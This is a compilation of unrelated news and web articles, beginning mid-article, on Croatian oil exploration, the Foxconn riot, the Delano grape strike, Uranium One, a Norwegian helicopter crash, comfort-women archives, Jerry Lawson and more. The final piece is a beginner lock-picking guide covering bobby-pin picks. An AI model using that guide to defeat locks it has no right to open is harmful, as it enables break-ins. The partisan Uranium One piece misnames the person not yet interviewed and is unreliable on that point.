awarded for five years with a possibility to extend it for another year, while exploitation concessions are planned for 25 years.  According to the preliminary data, gas reserves are more likely to be found in the north while crude deposits are expected in the southern part of Croatia’s Adriatic, where the seabed is deeper.  Local environment groups say oil drilling could destroy the Adriatic and hurt Croatia’s lucrative tourism industry. The government said the concessionaires would be required to respect the highest international environmental protection standards.  Croatia currently covers about 65% of its annual gas consumption of 3 billion cubic metres from its own fields offshore. It hopes to be able to meet the entire local demand from the domestic wells following the new exploration efforts.  Croatia is currently also running an international tender for onshore oil and gas exploration which expires in February.
-[np_storybar title=”Why the Foxconn riot comes at the worst possible time” link=”https://business.financialpost.com/2012/09/24/why-the-foxconn-riot-comes-at-the-worst-possible-time/”%5D At a time when profits are collapsing for big Chinese corporations, manufacturing shutdowns and worker unrest adds to an already tenuous environment. Read more  [/np_storybar]  TAIYUAN, China/TAIPEI — About 2,000 Chinese employees of an iPhone assembly company fought a pitched battle into the early hours of Monday, forcing the huge electronics plant where they work to be shut down.  Authorities in the northern city of Taiyuan sent 5,000 police to restore order after what the plant’s Taiwanese owners Foxconn Technology Group said was a personal dispute in a dormitory that erupted into a mass brawl.  However, some employees and people posting messages online accused factory guards of provoking the trouble by beating up workers at the factory, which employs about 79,000 people and is owned by the world’s largest contract maker of electronic goods.  “The plant is closed today for investigation,” Foxconn spokesman Louis Woo told Reuters. It was not clear how long the plant would be shut while police and company officials investigate the violence, but an employee contacted by telephone said the closure could last two or three days.  Watch this video posted on Youku (the Chinese version of Youtube) of the scene at Foxconn’s factory in Taiyuan, Shanxi province, as the riot broke out:  Foxconn cited police as saying that 40 people were taken to hospital and a number were arrested, while the state-run Xinhua news agency reported three people were in serious condition.  The unrest is the latest in a string of incidents at plants run by Foxconn, the trading name of Hon Hai Precision Industry Co whose shares fell 1% on Monday in a broader market that rose 0.2%.  [np-related]  On Monday evening, paramilitary police with riot shields, helmets and batons guarded one entrance of the massive factory complex, while an announcement over loudspeakers said there had been a criminal incident the night before and urged people to respect the law.  The windows of at least three gates’ guard posts had been smashed, piles of glass littering the ground around them, and the railings of some gates lie flat on the ground, having been bent over.  Foxconn, which assembles Apple’s iPhones as well as making components for other global electronics firms, h as faced accusations of poor conditions and mistreatment of workers at its operations in China, where it employs about 1 million people.  The company says it has been spending heavily in recent months to improve working conditions and to raise wages.  Foxconn said in a statement the incident escalated from what it called a personal dispute between several employees at around 11 p.m. on Sunday in the privately-managed dormitory, and was brought under control by police at around 3 a.m.  The cause of this dispute is under investigation by local authorities . . . but it appears not to have been work-related  “The cause of this dispute is under investigation by local authorities and we are working closely with them in this process, but it appears not to have been work-related,” Foxconn said. Hon Hai said about 2,000 workers were involved.  Comments posted online, however, suggested security guards may have been to blame. In a posting on the Chinese Twitter-like microblog site Sina Weibo, user “Jo-Liang” said that four or five security guards beat a worker almost to death.  “FRUSTRATION”  Another user, “Fan de Sa Hai”, quoted a friend from Taiyuan as saying guards beat up two workers from Henan province and in response, other workers set bed quilts on fire and tossed them out of dormitory windows.  Xinhua quoted a senior official with the Taiyuan city government as saying investigators initially determined the fight broke out as workers from Shandong Province clashed with workers from Henan. The agency earlier quoted Taiyuan City’s public security bureau as saying about 5,000 police had tackled the violence.  Calls to the Taiyuan police were not immediately answered, while an official at the plant declined to comment when reached by telephone.  Clearly there is deep-seated frustration and anger among the employees and no outlet, apart from violence, for that frustration to be released  “Clearly there is deep-seated frustration and anger among the employees and no outlet, apart from violence, for that frustration to be released,” Geoff Crothall, communication director at China Labour Bulletin, a labour rights group in Hong Kong, said in a statement.  “There is no dialogue and no means of resolving disputes, no matter how minor. So it is not surprising when such disputes escalate into violence.”  Foxconn does not confirm which of its plants supply Apple, but an employee told Reuters that the Taiyuan plant is among those that assemble and make parts for Apple’s iPhone 5.  In June, about 100 workers went on a rampage at a Foxconn plant in Chengdu, in southwestern China.  Find the Financial Post on Facebook  © Thomson Reuters 2012
-This September marks the 45th anniversary of the Delano, Calif., grape strike that brought together Filipino American agricultural workers and Mexican American farm workers to form what became the United Farm Workers of America (UFW).  The strike began on Sept. 8, 1965, when over 1,500 farm workers with the Agricultural Workers Organizing Committee, mostly Filipino, in Delano, Calif., walked off the farms of area tablen grape growers demanding wages equal to the federal minimum wage.  Philip Vera Cruz, Larry Itliong, Benjamin Gines and Pete Velasco led the striking workers.  One week after the strike began, on Sept. 16, Mexican Independence Day, the predominantly Mexican American National Farmworkers Association, led by Cesar Chavez and Dolores Huerta, joined the strike.  In unifying, both groups built a powerful and historic movement for change. The UFW was born in 1966 after both groups merged. The strike quickly spread impacting over 2,000 workers. It lasted more than five years and eventually became a major victory for the UFW, leading to a first contract with area growers. By 1970, the UFW had succeeded in reaching a collective bargaining agreement with the grape growers, affecting over 10,000 farm workers.  Gregory Cendana, interim deputy director with the Asian Pacific American Labor Alliance (APALA) said his parents came to the U.S. as Filipino immigrants. Growing up in a union household Cendana said he’s honored and proud to know he stands on the shoulders of some of the hardest working brothers and sisters in the labor movement.  APALA is one of seven AFL-CIO constituency groups and continues to be grounded in the work of our predecessors seeking ways to build stronger community and labor partnerships, said Cendana.  For example the number of Asian American workers is rising 300 percent in the state of Nevada, and overall that increase is significantly growing throughout the rest of the country too, notes Cendana.  Looking back it’s important to understand the history of Asian American workers, he said. And Filipino farm workers were extremely critical in helping to create the UFW.  “A goal of mine is to share that piece of history with young people and learn from those past events in order to build a more united labor and people’s movement,” he said.  “It’s important to build power for underrepresented communities,” added Cendana.  For Cendana it’s especially important to uplift the Asian American voice and engage Asian American youth and students to learn about their history in the U.S. labor movement.  “Today there are a lot of parallels to the struggle of the original Delano grape workers,” notes Cendana.  However workers today are in a very different context and 40 years after the Delano strike the political climate has changed, he said.  Nevertheless, Cendana says the Delano grape strike reminds him that “change can happen and it needs to happen with strategic campaigns, coalition building and collective power.”  At the end of the day it’s important to continue celebrating the history and victory of the Delano grape strike but it’s even more important to learn from those successes, said Cendana.
-The Obama administration’s Department of Justice reportedly failed to interview an undercover FBI informant in a Russian nuclear bribery case before filing criminal charges against a top Russian official — the latest government failure connected to the Uranium One scandal.  The Hill reports that under the guidance of Maryland’s then-chief federal prosecutor Rod Rosenstein — now the deputy attorney general at the DOJ — prosecutors handed up an indictment of Russian energy exec Vadim Mikerin by portraying William Campbell as the main victim of Russian bribery and deceit, just as the Russians tried to involve themselves in the American uranium industry.  This would backfire when prosecutors did eventually interview Campbell in 2015 and learned about the broader extent of his undercover activities with the FBI, undermining their claim that he was, in fact, a victim and causing them to recast the case.  Mikerin was a top executive of the Russian energy giant Rosatom and the man who was sent to the U.S. to coordinate Russia’s plans to grow uranium sales in the U.S.  The Hill’s reporting comes as DOJ officials are answering questions from Congress in relation to growing scrutiny about the Obama administration’s approval of the 2010 sale of Canadian firm Uranium One — particularly how much government heads making the decision knew about Russian bribery when the decision was made and the role played by then-Secretary of State Hillary Clinton.  Government Accountability Institute (GAI) President and Breitbart News Senior Editor-at-Large Peter Schweizer broke the Uranium One scandal in his 2015 book Clinton Cash: The Untold Story of How and Why Foreign Governments and Businesses Helped Make Bill and Hillary Rich. In the book, he reported that nine foreign investors in the deal gave $145 million to Hillary and Bill Clinton’s personal charity, the Clinton Foundation.  The New York Times confirmed Schweizer’s Uranium One revelations in a 4,000-word front-page story. The scandal hurt Clinton throughout her doomed presidential campaign and hit the headlines this year again in October, when The Hill reported that ahead of the deal, the FBI had uncovered “substantial evidence that Russian nuclear industry officials were engaged in bribery, kickbacks, extortion and money laundering” to expand Russia’s nuclear footprint in the U.S. as early as 2009.  According to The Hill, the agency also found that Russian nuclear officials had routed “millions of dollars” to the U.S. to benefit the Clinton Foundation, once again raising the specter of “pay-to-play.”  According to the Hill’s latest report, DOJ officials proved that the Russian energy giant Rosatom was engaged in criminal activity through its top American executive as early as 2009, before the administration ok’d the Uranium One sale to Rosatom.  But when they filed the first complaint against Mikerin in 2014, they had not yet interviewed Rosenstein. Campbell was debriefed after the charges were filed, but not brought before the grand jury that would indict Mikerin. When they interviewed him again, they realized his work for the FBI was more extensive and changed their goals.  “Based on what was learned, we decided to change the theory of the case. … A plea deal became our goal so we wouldn’t have to litigate or make an issue of some of the stuff he had done for [counterintelligence] purposes,” a source directly familiar with the case told the outlet.  Adam Shaw is a Breitbart News politics reporter based in New York. Follow Adam on Twitter: @AdamShawNY.
-Worldwide attention has turned to the Peru-Brazil border where uncontacted Indians live, and the South American countries are finally feeling the pressure to protect them.  Survival International's campaign with newly released photos of the tribe, followed by a breathtakingly haunting film by the BBC, has raised awareness of one of the last uncontacted tribes in the world.  The BBC film, narrated by actor Gillian Anderson was made in collaboration with the Brazilian government for the new BBC 1 'Human Planet' series. Shooting from a kilometer away with a powerful zoom lens in order to minimize disturbance, the BBC crew captures gardens, homes, and people covered in red body paint. An undisturbed civilization. Unfortunately, it may not remain this way.  Illegal loggers have entered the Peru side, forcing the Indians into Brazil. Jose Carlos Meirelles, a member of the Indian Affairs Dept. in Brazil, is responsible for monitoring the land and proving that the tribe exists. According to him, "This footage is the only way to convince the rest of the world that they are here. If illegal loggers or miners contact these people, they won't shoot images... they'll shoot guns."  Until now, there has been little success in preventing the loggers from taking over the land. As Gillian Anderson reports, "Instead of expelling the loggers, Peru's government has suggested that uncontacted tribes don't exist at all." But that seems to be changing, as Peru's authorities have just announced that they plan to work with Brazil to stop the loggers from entering Indian territory. Survival's Director Stephen Corry holds hope for the future, stating, "This is a really encouraging first step, let's hope their declared intention turns into real action quickly."  EDITOR'S NOTE: Unfounded allegations have been made that this video is a hoax because similar photos of the same tribe that were released in 2008 were incorrectly reported in the media as being an "undiscovered" tribe, thus leading to rumors of them being fake. CLICK HERE for more info on the "hoax" rumors being debunked in 2008.
-Now it's getting personal.  Washington Capitals coach Adam Oates is not happy about New York Rangers coach John Tortorella characterizing the Caps' complaints about officiating as whining.  "Well, I think he's out of line," Oates said on Washington's 106.7 The Fan. "[Tortorella] should be worried about his own series. We didn't whine once during the series. I never complained. I don't know, did you guys ever hear me complain about officiating?"  Oates seemed so frustrated that he was asked whether he could beat up Tortorella.  "Yes," Oates said, "easily."  Caps star Alex Ovechkin had already criticized the officiating in the series, which the Rangers won in seven games. The Rangers received 28 power-play chances in the series; the Capitals finished with 16.  Tortorella responded Wednesday.  "We've got everybody and their brother whining out there in Washington about what happened in that series," Tortorella said. "And I think that's a big reason they lose that series."
-Media playback is unsupported on your device Media caption Emergency services try to reach the site of the crash  Thirteen people are presumed dead after a helicopter crashed west of the Norwegian city of Bergen, rescuers say.  Eleven of those on board were Norwegian, one was British and one Italian. No survivors have been found.  A major rescue operation was launched but ended within hours of the crash.  Meanwhile, Norway's civil aviation authority has imposed a flight ban on the type of helicopter that crashed - the Eurocopter (EC) 225L Super Puma. Reports say it was "totally destroyed".  Its officials told VG newspaper (in Norwegian) that servicing for the helicopter which crashed had been delayed twice in 2015, for a total of 200 flying hours.  Later, local media quoted a civil aviation authority spokeswoman as saying the helicopter's two black boxes had been recovered.  The British Civilian Aviation Authority later said it was suspending commercial use of the Super Puma, so it would be unable to carry oil and gas workers but could still fly for other purposes.  The aircraft was flying from the Gullfaks oil field to Bergen, a centre for the North Sea oil and gas industry.  Eleven bodies have been found, and two other people are still missing.  Norwegian Prime Minister Erna Solberg said news of the crash was "horrible".  King Harald and Queen Sonja cancelled a trip to Sweden, Norwegian broadcaster NRK reported.  'Peculiar engine sound'  Oil company Statoil said all the passengers were on assignment for the company, but worked for different organisations.  Statoil has suspended oil production at the Gullfaks B platform "so that we can take care of the staff in the best way possible", company vice-president Arne Sigve Nylund told journalists.  The helicopter came down near the small island of Turoey, just west of the village of Solsvik.  Image copyright EVN grab Image caption Smoke was visible at the scene of the crash  Image copyright EPA Image caption Firefighters were among those involved in the big rescue operation  Image copyright Reuters Image caption The rotor blade became detached from the helicopter before it crashed  Eyewitnesses reported seeing the helicopter's rotor blade come loose and shear off.  "There was an explosion and a very peculiar engine sound, so I looked out the window. I saw the helicopter falling quickly into the sea. Then I saw a big explosion," a resident told local newspaper Bergensavisen.  Photos from the scene showed thick smoke coming from an area of rocky islets.  Local media said the helicopter dropped 640m (2,200ft) in the last 10 seconds before it crashed. Some wreckage was found on the rocks, and parts of the fuselage are in the sea.  The tail of the aircraft was raised in a salvage operation, local media said, and preparations are being made to recover the fuselage.  Image copyright Mihai Crisan Image caption The actual helicopter which crashed  Eurocopter EC225 Super Puma  Widely used in offshore oil and gas industry around the world  More than 220 in service  Can also be used in search and rescue and fire-fighting roles  Carries 19 passengers plus two crew and can fly for up to five-and-a-half hours  Safety features include self-deployable emergency flotation device, and traffic collision and avoidance system  Source: Airbus Helicopters  The UK's Air Accidents Investigation Branch is sending a team to Norway because it has investigated a number of crashes involving helicopters operating to and from offshore oil and gas fields in recent years.  In 2012, EC225 Super Puma helicopters crashed in two incidents in Scotland, one off Aberdeen and another off Shetland. Both crashes were blamed on gearbox problems.  In both cases, all passengers and crew were rescued, though in 2013 a Eurocopter AS332 also crashed in Shetland with the loss of four lives.  EC225s in the UK were grounded following the crashes but given the go-ahead to resume flying in 2013.  Helicopter International magazine editor Elfan ap Rees said major modifications seemed to have dealt with the gearbox problem, and it was difficult to know what could have gone wrong in the Norwegian crash.  "Overall, the Super Pumas have a good safety record and they have been constantly improved and upgraded," he told the BBC.  "They have had quite a lot of use in the offshore industry."
-Funny story. I’m putting together the return of Superhero Bits when I come upon some new toys for Iron Man 3. That seemingly insignificant news is perfect for my daily column so I go to grab an image when I get stopped in my tracks. There’s the Mark 47 suit, which we’ve seen, War Machine, which we’ve seen, and the Iron Patriot, which we’ve seen a lot.  Then there’s a fourth suit. Something that we haven’t seen and, if its name is correct, teases heavily to a massive spoiler from Iron Man 3. Whether that’s a cameo or a bridge into The Avengers 2, we’ll have to wait and see. But, if you’re into major, Thanos level, spoilers, let’s discuss below.  Last warning – Major Spoilers for Iron Man 3.  5.  4.  3.  2.  1.  Here are the four Iron Man 3 Pop figures revealed by Funko. Which one doesn’t fit?  [UPDATE: The one that doesn’t fit has been pulled at the request of Marvel.]  Yes, that’s a Deep Space Suit.  Since we know for a fact the other three suits in the line are in the movie, it’s a safe assumption that the Deep Space Suit is too. So what does it mean?  The most obvious one is a connection to Guardians of the Galaxy. The Guardians are mostly space bound heroes, after all, and if Tony Stark somehow runs into them at the end of the film, it would raise major awareness for a property many movie fans aren’t aware of. A second option is that, at the end of Iron Man 3, Tony and The Avengers get called to another planet, setting up what happens in The Avengers 2. Then there’s Thor: The Dark World, which also takes place in a galaxy far, far away, so maybe there’s a link there. Or maybe he just flys into space for a second.  Also, don’t forget that Kevin Feige teased Tony Stark and space when I spoke to him after The Avengers:  [Guardians of the Galaxy] is where a lot of that will really come to fruition and to me it’s okay and The Avengers is the place to mash it all up, because that’s what Avengers is for and you can have Iron Man in outer space. How’s that going to affect him in IRON MAN 3 or 4? Well the truth is that’s in there now. (Laughs) He’s seen some shit, but he’s also Tony Stark and can blow a lot of stuff off so the story of IRON MAN 3, as we’ve already talked about, is very insular and very Tony Stark centric as redefined by Shane Black.  Which one of these scenarios, if any, occur in Iron Man 3 is still up for debate. What’s much more certain is that this Deep Space Suit is our strongest link yet to what’s coming next in Marvel Phase 2, and beyond.  What role do you think this suit will play in Iron Man 3?  Thanks to Funko for posting these images, Comic Book Movie for alerting me to them and Comic Book for proving I wasn’t crazy
-Archives reveal "comfort women" official actions of Japan  Forcing women into sex slavery and setting up "comfort stations" were official actions of the invading Japanese army during World War Two in Asian countries, newly publicized wartime archives reveal.  A total of 89 wartime documents were made public on Friday as a response to Japan's right-wing politicians' denial of its wartime crimes in China. Twenty-five files relate to "comfort women".  The use of "comfort women" was the state action of Japan during the war, said Su Zhiliang, a professor on the history of "comfort women" at Shanghai Normal University.  The actions harmed China, the Republic of Korea and Democratic People's Republic of Korea.  The archives showed that the first "comfort station" was in the Southeast Asian country of Indonesia on Java Island.  The invading Japanese army in northeast China, documented what happened during the war, revealing their criminality.  The files are from archives of the military police corps of Japan's Kwantung Army and the national bank of the puppet Manchurian regime, which are stored in Jilin Provincial Archives in northeast China.  The 25 files on "comfort women" include two investigation reports, two telephone records and 21 documents on troops forcing women to have sex and enslaving them.  They revealed conditions at "comfort stations", including ratios between Japanese soldiers and "comfort women" and details of gruesome rapes.  The invading Japanese army allocated women proportionally.  In Feb. 1 to 10 in 1938, there were six "comfort women" for 1,200 soldiers, a ratio of 1:200, in Xiaguan district of east China's Nanjing. After Feb. 20, there were eleven more "comfort women", representing a ratio of 1:71.  In five months since November 1944, the invading Japanese army paid 532,000 Japanese yen on setting up "comfort stations". The expenditure was approved by the Kwantung Army, said a telephone record of the national bank of the puppet Manchurian regime.  The invading Japanese army had abducted and forced women from occupied Korea to some "comfort stations" in Chinese regions, such as Heihe in northeast China's Heilongjiang Province and Wuhu in eastern China's Anhui Province, according to the files.  Invading Japanese troops set up "comfort stations" everywhere they reached. The stations appeared in at least twenty to thirty counties in northeast China, said Su Zhiliang.  "The archives showed that the 'comfort station' in Java in Indonesia, strongly demonstrated the 'comfort women' system had reached the southeast Asian country," he said.  One soldier of the police corps was reported and received a verbal criticism after he went to a "comfort station" on March 5, 1944, recorded on a monthly report of the invading Japanese troops in Java.  Several letters Japanese soldiers wrote but seized by army officers expose the invaders' rapes of local women. "Japanese armies raped tens of thousands of women in Nanjing, including a 12-year-old girl, and many were even killed thereafter. The crimes were appalling," said one letter.  The documents represent only a small portion of the nearly 100,000 wartime Japanese files in 1931-1945 period retrieved underground during construction work in 1953, said Yin Huai, president of the Jilin Provincial Archives in Changchun, capital of Jilin Province. Ninety percent of the files are in Japanese.  "The files recorded by the invading Japanese troops themselves are the real documents about their invasion history in China. They are of significant value," said Yin.  The invading troops buried some of their archives when fleeing Changchun, the then "capital" of the puppet Manchu State, in wake of a war with the Soviet Union, as they had no time to burn the documents.  The Jilin Provincial Archives started in 2013 to translate and study the archives. Further work is under way.  Newspaper headline: Archives reveal 'comfort women' official actions of Japan
-Gerald Anderson "Jerry" Lawson (December 1, 1940 – April 9, 2011)[1][2] was an American electronic engineer, and one of the few African-American engineers in the industry at that time. He is known for his work in designing the Fairchild Channel F video game console as well as pioneering the commercial video game cartridge.[3]  Early life [ edit ]  Lawson was born in Brooklyn, New York City on December 1, 1940.[4] His father Blanton was a longshoreman with an interest in science, while his mother Mannings worked for the city, and also served on the PTA for the local school and made sure that he received a good education.[5] Both encouraged his interests in scientific hobbies, including ham radio and chemistry. Lawson said that his first-grade teacher helped him encourage his path to be someone influential similar to George Washington Carver.[4] While in high school, he earned money by repairing television sets. He attended both Queens College and City College of New York, but did not complete a degree at either.[4]  Career [ edit ]  The Fairchild Channel F, with the cartridge slot on the right of the unit  In 1970, he joined Fairchild Semiconductor in San Francisco as an applications engineering consultant within their sales division. While there, he created the early arcade game Demolition Derby out of his garage.[4][5] In the mid-1970s, Lawson was made Chief Hardware Engineer[6] and director of engineering and marketing for Fairchild's video game division.[4] There, he led the development of the Fairchild Channel F console, released in 1976 and specifically designed to use swappable game cartridges. At the time, most game systems had the game programming stored on ROM storage soldered onto the game hardware, which could not be removed. Lawson and his team figured out how to move the ROM to a cartridge that could be inserted and removed from a console unit repeatedly, and without electrically shocking the user. This would allow users to buy into a library of games, and provided a new revenue stream for the console manufacturers through sales of these games.[7] Lawson's invention of the interchangeable cartridge was so novel that every cartridge he produced had to be approved by the Federal Communications Commission.[8] The Channel F was not a commercially successful product, but the cartridge approach was picked up by other console manufacturers, popularized with the Atari 2600 released in 1977.[9][10]  While he was with Fairchild, Lawson and Ron Jones were the sole black members of the Homebrew Computer Club, a group of early computer hobbyists which would produce a number of industry legends, including Apple founders Steve Jobs and Steve Wozniak.[9] Lawson had noted he had interviewed Wozniak for a position at Fairchild, but did not hire him.[4]  In 1980, Lawson left Fairchild and founded Videosoft, a video game development company which made software for the Atari 2600 in the early 1980s, as the 2600 had displaced the Channel F as the top system in the market.[3][11] Videosoft closed about five years later, and Lawson started to take on consulting work. At one point, he had been working with Stevie Wonder to produce a "Wonder Clock" that would wake a child with the sound of a parent's voice, though it never made it to production.[7] Lawson later worked with the Stanford mentor program and was preparing to write a book on his career.[9]  In March 2011, Lawson was honored as an industry pioneer for his work on the game cartridge concept by the International Game Developers Association (IGDA).[7]  Death [ edit ]  Around 2003, Lawson started having complications from diabetes, losing the use of one leg and sight from one eye.[5] On April 9, 2011, about one month after being honored by the IGDA, he died of complications from diabetes.[4][7] At the time of his death, he resided in Santa Clara, California, and was survived by his wife, two children, and his brother.[4]
-Democratic National Committee Chairwoman Debbie Wasserman Schultz said Saturday she will remain neutral in the presidential race despite Democratic presidential hopeful Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE’s endorsement of her primary opponent.  ADVERTISEMENT  “Even though Senator Sanders has endorsed my opponent I remain, as I have been from the beginning, neutral in the Presidential Democratic primary,” Schultz said in a statement. “I look forward to working together with him for Democratic victories in the fall.”  Sanders, in a CNN interview to air Sunday, said he favors Wasserman Schultz’s primary opponent, Tim Canova.  Canova and Wasserman Schultz will face each other in Florida's congressional primary Aug. 30.  “Well, clearly, I favor her opponent,” Sanders told CNN’s Jake Tapper. “His views are much closer to mine than as to Wasserman Schultz."  Sanders's comments come as tensions between him and party leaders escalate. Last weekend saw a chaotic state convention in Nevada in which Sanders supporters angrily opposed rules they thought unfairly benefited Democratic front-runner Hillary Clinton.
-In this Feb. 9, 2017, file photo, Attorney General Jeff Sessions holds a meeting with the heads of federal law enforcement components at the Department of Justice in Washington. Associated Press/Susan Walsh Attorney General Jeff Sessions has faced mounting calls in recent days to recuse himself from any investigations into Russian ties to Trump's former National Security Advisor Mike Flynn and other aides and Trump's 2016 presidential campaign, but has so far remained unpersuaded.  On Wednesday, for the second day in a row, Senate Minority Leader Chuck Schumer demanded an investigation into Russian ties to Trump associates conducted by an "independent and unbiased law enforcement authority" that explicitly excludes Sessions.  "The new Attorney General Jeff Sessions cannot be the person to lead that investigation … it is a clear conflict of interest," Schumer said on the Senate floor, citing Department of Justice regulations.  "The words are crystal clear. There is no wiggle room … Any investigation headed, directed by, or influenced by the Attorney General will be jaundiced from the very start."  But Sessions has previously said he sees no need to recuse himself from any such investigations, and one of his advisers told the New York Times he has not been swayed from his position by recent events.  The Justice Department's rule on the matter is brief: "No DOJ employee may participate in a criminal investigation or prosecution if he has a personal or political relationship with any person or organization substantially involved in the conduct that is the subject of the investigation or prosecution, or who would be directly affected by the outcome."  The regulation then defines "political relationship" as a "close identification with an elected official, candidate, political party or campaign organization arising from service as a principal advisor or official."  Democrats have argued that Sessions' role alongside Flynn on the National Security Advisory committee during the transition, his position as senior adviser in the Trump campaign, and his enthusiastic endorsement and nomination of Trump at the Republican National Convention last summer constitute a "political relationship" that would interfere with the integrity of an investigation.  "The rules requiring Sessions to recuse from the Trump campaign investigation are so clear you have to question why he is refusing to do so," Matthew Miller, a former spokesperson for former Attorney General Eric Holder, tweeted on Tuesday.  The conflict of interest isn't confined to Sessions' close political relationship with Trump, according to David Alan Sklansky, a former federal prosecutor and current Stanford law professor. Sessions also made public comments during the campaign praising Trump's "pragmatic" approach to Russia.  "It is hard to imagine how his own name — not just the name of the President who appointed him — can fail to surface in this investigation, and hard to imagine how the investigation can fail to touch on, if not Sessions' own actions, at a minimum the actions of close political associated of his in 2016," Sklansky wrote.  Democrats first issued the demand on Tuesday, the day after Flynn resigned over his communications last December with the Russian ambassador. Later that day, the New York Times reported that intercepted phone calls revealed that Trump's associates and campaign staffers had repeatedly communicated with senior Russian intelligence officials in 2016.  Schumer was not alone — 11 Democratic senators on Wednesday jointly called for Sessions to appoint an independent special counsel to investigate Flynn's communication with Russian officials, so as to "maintain the confidence, credibility and impartiality of the Department of Justice."  Debate over Sessions' role in forthcoming investigations was anticipated by Democratic senators during Sessions' confirmation last month, during which Senator Dianne Feinstein of California noted the close working relationship Sessions would have with Flynn upon his confirmation as Attorney General, and asked if he would recuse himself from an investigation.  Sessions replied that he was "not aware of a basis to recuse" himself, adding that he would consult with DOJ ethics officials if he felt his impartiality "might reasonably be questioned."  Sessions did, however, say he would recuse himself from any investigations related to Hillary Clinton's use of a private email server or any matters regarding the Clinton Foundation, given that he had previously made critical comments that "could place my objectivity in question."  Here's Minority leader Schumer speaking on the Senate floor:
-Twenty years after the Olympics took place in Atlanta, a U.S. national team will be training in the city thanks to the threat of the Zika virus.  In a letter issued by USA's Swimming National Team Director Frank Busch, pre-Olympic training will move from Puerto Rico to the Georgia Tech Campus Recreation Center, formerly known as the Georgia Tech Aquactic Center, due to the possibility of exposure to the athletes.  As part of our preparations for the Olympic Games this summer, we have been closely monitoring the current situation with the Zika virus. According to the CDC (Centers for Disease Control and Prevention) and other health experts in the field of science and medicine, our athletes would be highly exposed to the Zika virus in Puerto Rico. USA Swimming’s most important priority is the health and safety of our Olympic Team. With this information, the National Team Division has decided to relocate the second camp to Atlanta, GA. Many variables were considered in selecting this location: flight time to Rio, time zone, facility and hotel availability, and training camp atmosphere. The team’s first camp will remain in San Antonio, TX.  Sign up for the daily Speed Feed Newsletter Thank You Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank You for signing up for the Speed Feed Please try again later.  Submit  We will also educate Olympic Team members about Zika and provide them with multiple tools to reduce the risk of being bitten by mosquitos while in Rio.  Our partners at Marriott helped us greatly in this transition process and we know the new location will meet our needs. Team culture is one of the things that sets Team USA apart. We want to make sure our camp creates that unity as we head into the Olympic Games.  The team is scheduled to hold its first training camp in San Antonio, from July 11 through July 21, before heading to Georgia Tech's campus.  During the 1996 games, the center featured competitions in swimming, synchronized swimming, diving and water polo. The pool itself is made up of 10, 50 meter by 25 meter lanes and holds 1.08 million gallons of water.  Since then, the center has been turned into a recreational facility for Georgia Tech students and facility.  The Olympics are set to kick off in Rio de Janeiro on Saturday, August 6.  PHOTOS | The fight against Zika
-What's scarier than a teenage girl sniffing bath salts to get high? A teenage girl holding hands with another girl. But only if she actually "likes" that girl. You know, "like" likes her.  Sound like a high school argument? Then it should be no surprise this was the decision made at a high school in the Midwest that forbade lesbian teens Desiree Shelton and Sarah Lindstrom from walking into a pep rally together to represent their classmates on the royal court. Unfortunately, it was the school administrators acting like the kids in this situation.  After years of allowing male-female pairs to march as the royal court of the Snow Days pep fest, Champlin Park High School officials freaked when Sheldon and Lindstrom said, "We're here, we're queer, can we hold hands?" They suddenly told the girls there would be no teen pairs this year -- just single royal court members or kids with an adult "important" to them.  The girls fought in the form of a lawsuit, which was dropped in exchange for them being allowed to act like normal teens and walk in together. But the question the district should be asking themselves today is why was this such a big deal? Yes, they're gay, we get it.  But if you've ever attended a high school graduation or similar event where kids are paired up for a processional, do some counting. You'll notice there is rarely a class where the numbers of kids from each gender match exactly. I graduated with 34 other kids (yes, go ahead, laugh). Based purely on an odd number, there were same gender pairs and mixed gender pairs and even some three-bies who stepped in time with "Pomp and Circumstance" into our high school auditorium.  For the most part, we all liked each other. That's what happens when you see the same people day in and day out in such cramped quarters for so many years. We were pretty affectionate. And -- surprise, surprise -- no one bled from the eyes. No one screamed in horror.  In fact, I recall walking hand in hand with some of my female friends in the mall just because we were goofing around. Rather than true love, it was usually a means to drag one friend down the hall to check out the newest goods at the Gap when she wanted to stay and browse the CD racks (remember them?). Still, no innocent children's psyches were harmed as we wandered on by their family shopping trip.  So what's the difference? Oh right, Sheldon and Lindstrom are lesbians. Which means they'll automatically start making out and grinding pelvises right in front of the whole school in the middle of a pep fest. The same way all those horny male/female teen couples drop down in the middle of the gym and start going at it every year. Oh ... wait, that didn't happen, did it?  It turns out, teenage lesbians are equally adept at controlling their hormones in social settings as the rest of their peers. So tell me, the next time you go to the mall and see two teen girls holding hands: can you even tell if they "like" like each other? I doubt it.  So what's so scary?  Image via Made Underground/Flickr
-Pin Reddit Share +1 2K Shares  So you want to learn the art of picking locks? Well, look no further than our quick and dirty infographical guides to lock picking! The goal behind these visual guides was to extract only the fundamental and necessary components involved in successfully picking a lock, no more — no less.  If you are looking for more comprehensive guides that cover the entirety of lock picking, be sure to check out the Academy and our Complete Beginner’s Guide to Lock Picking.  Single Pin Picking  The first of our techniques in this series of graphical guides is Single Pin Picking. Every technique of lock picking uses two tools — a tension wrench and a lock pick.  The tension wrench is used to place rotational tension on the plug of the lock, much like a key does. This aids us in both setting pins and turning the plug when the pins are all set.  Single pin picking uses a hook style pick. This pick is specially designed to push and manipulate each pin individually — hence the name “single pin picking.”  Raking  The next technique in this series is Raking — also known as Scrubbing. Raking is the art of using both luck and skill to open a lock. To rake a lock we need the use of both a tension wrench and a rake type lock pick.  These rakes style picks come in a variety of shapes, but all accomplish the same goal — to manipulate multiple pins at once. Rake picks have several peaks and are used by inserting the pick into the lock and scrubbing the pins back and forth — much like brushing your teeth, except much more fun. In theory, the more peaks a rake has, the more pins it can manipulate and the better chance you have of bumping each pin to the shear line.  Let’s take a look!  Improvised Lock Picking Infographics  Utilizing the proper lock picking tools will not only aid in your success but also in the development of your skills. However, we don’t always have these little tools on hand and thus we must improvise. Lock picking can be accomplished with anything that is both small enough to fit into the keyway and malleable enough to form into the proper tools.  Bobby Pin Lock Picking  Bobby pins have always had this strange subtle link to lock picking. This is likely because they work fantastic on lower level locks and their availability surpasses any other item like them — being found in just about any purse.  To pick a lock with a bobby pin, we must first forge our tools. Like any variation of lock picking, we will need both a tension wrench and a pick — hence we need two bobby pins.  To make our wrench we need only to bend our first bobby pin into the shape of an “L.” Simple enough!  Our pick requires a few extra steps. First strip off the rubber cap on the straight end of the bobby pin. This can be done easily by using fingernails, pliers, or even your teeth.  Once the rubber end is removed we can begin making our bends. Start by pulling the bobby pin apart and straightening it. 